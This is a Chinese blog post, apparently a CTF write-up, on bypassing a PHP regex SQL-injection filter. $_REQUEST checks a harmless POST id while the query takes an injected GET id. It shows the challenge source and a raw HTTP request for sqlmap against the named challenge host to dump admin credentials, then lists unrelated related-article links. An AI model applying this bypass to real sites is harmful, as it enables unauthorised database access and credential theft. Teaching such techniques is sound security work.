扫描器扫到robots.txt ,访问:http://xxx.com/robots.txt

有一个admin,但访问需要输入账号和密码。

尝试访问: http://xxx.com/index.phps 。得到源代码如下:

  1. <?php
  2. require_once 'lib.php';
  3. header('X-XSS-Protection: 0');
  4. $cols = array(
  5. "e8c4-437b-9476",
  6. "849e-416e-acf7",
  7. "7f9d-470f-8698",
  8. "c8bb-4695-93f7",
  9. "5fbc-4729-8821",
  10. "3ad3-46c3-b975",
  11. "f44f-4cc9-a5e0",
  12. "0c3f-42c8-a0ae"
  13. );
  14. if(isset($_REQUEST['id'])){
  15. if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
  16. die("Attack detected!!!");
  17. }
  18. $ad = get_ad($_GET['id']);
  19. ?>
  20. <HTML>
  21. <HEAD>
  22. <TITLE>NAUGHTY ADS ©1994</TITLE>
  23. </HEAD>
  24. <BODY BGCOLOR="WHITE">
  25. <CENTER>
  26. <?php echo $ad['description'] ?><br />
  27. <a href="/">Home</a>
  28. </CENTER>
  29. </BODY>
  30. </HTML>
  31. <?php
  32. die;
  33. }
  34. ?>

  

对于 REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过_GET[‘id’] 将其带入数据库中查询并返回结果给页面。

这里考察了一个知识。$_REQUEST变量默认情况下包含了 GET,GET,_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order

其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;

所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。

将如下数据包保存为test.txt,用sqlmap跑:

  1. POST /?id=* HTTP/1.1
  2. Host: naughtyads.alieni.se
  3. User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. Connection: close
  9. Upgrade-Insecure-Requests: 1
  10. Content-Type: application/x-www-form-urlencoded
  11. Content-Length: 18
  12. id= 0c3f-42c8-a0ae

  

得到账号密码,登陆 http://xxxx.com/admin/ 在Phone number处填上555-31338,提交后得到flag:

php $_REQUEST写法防注入突破的更多相关文章

  1. (依赖注入框架:Ninject ) 一 手写依赖注入

    什么是依赖注入? 这里有一个场景:战士拿着刀去战斗: 刀: class Sword { public void Hit(string target) { Console.WriteLine($&quo ...

  2. 远程线程注入突破SESSION 0

    远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...

  3. SQL注入:突破关键字过滤

    一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败).回车的ascii ...

  4. [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

    记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...

  5. springboot 在配置文件写参数注入到类中

    @Configuration//配置文件位置@PropertySource("classpath:city.properties")//前缀@ConfigurationProper ...

  6. SQL注入专题

    SQL注入专题--整理帖 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被 ...

  7. Sqlmap注入技巧收集整理

    TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...

  8. (非原)SQL注入专题--整理帖 && like 语句拼sql 如何防止注入攻击。

    原地址:blog.csdn.net/lvjin110/article/details/28697695 like 语句拼sql 如何防止注入攻击?http://bbs.csdn.net/topics/ ...

  9. ASP.NET 5 单元测试中使用依赖注入

    相关博文:<ASP.NET 5 使用 TestServer 进行单元测试> 在上一篇博文中,主要说的是,使用 TestServer 对 ASP.NET 5 WebApi 进行单元测试,依赖 ...

随机推荐

  1. Linux基础命令-mkdir

    mkdir 作用:创建目录 主要参数:-p $ cd /home/test $ mkdir caianchun $ ls caianchun -p:递归参数 $ mkdir caianchun2/1/ ...

  2. Python 爬虫(二十五) Cookie的处理--cookielib库的使用

    Python中cookielib库(python3中为http.cookiejar)为存储和管理cookie提供客户端支持. 该模块主要功能是提供可存储cookie的对象.使用此模块捕获cookie并 ...

  3. 05_python_字典

    一.字典定义 字典是python中唯一的映射类型,以{ }括起来的键值对组成,在dict中key是唯一的.在保存时,根据key来计算一个内存地址,然后把key-value保存至地址中.这种算法是has ...

  4. php获取指定日期的前一天,前一月,前一年日期

    ## php获取指定日期的前一天,前一月,前一年日期   前一天的日期为: date("Y-m-d",strtotime("-1 days",strtotime ...

  5. git add .添加不成功

    情景: 我首先在一个有许多文件的文件夹中  git init  创建一个git管理仓库 之后 git add . 之后 git commit -m "提交" 发现提交不成功,文件没 ...

  6. Swift5 语言指南(二十二) 扩展

    扩展为现有的类,结构,枚举或协议类型添加新功能.这包括扩展您无法访问原始源代码的类型的能力(称为追溯建模).扩展类似于Objective-C中的类别.(与Objective-C类别不同,Swift扩展 ...

  7. JAVA多线程下载

    package com.jan.test; import java.io.File; import java.io.IOException; import java.io.RandomAccessFi ...

  8. 关于oracle RAC心跳线采用直连 还是交换机连接的建议

    关于oracle RAC心跳线的连接方式,各个论坛,包括网上文章的说法是:官方说是不建议直连,建议采用交换机连接的方式!PS:但是,一直没有找到官方文档的出处,有知道的兄弟,烦请评论区提供下地址!!! ...

  9. volatile双重检查锁定与延迟初始化

    一.基本概念: 1.volatile是轻量级的synchronized,在多核处理器开发中保证了共享变量的“可见性”.可见性的意思是,当一个线程修改一个共享变量时,另一个线程能读到这个修改的值. 2. ...

  10. Redis随笔(六)RESP的协议规范

    1.官网文档 https://redis.io/topics/protocol http://www.redis.cn/topics/protocol.html 2.协议介绍 redis协议规范(Re ...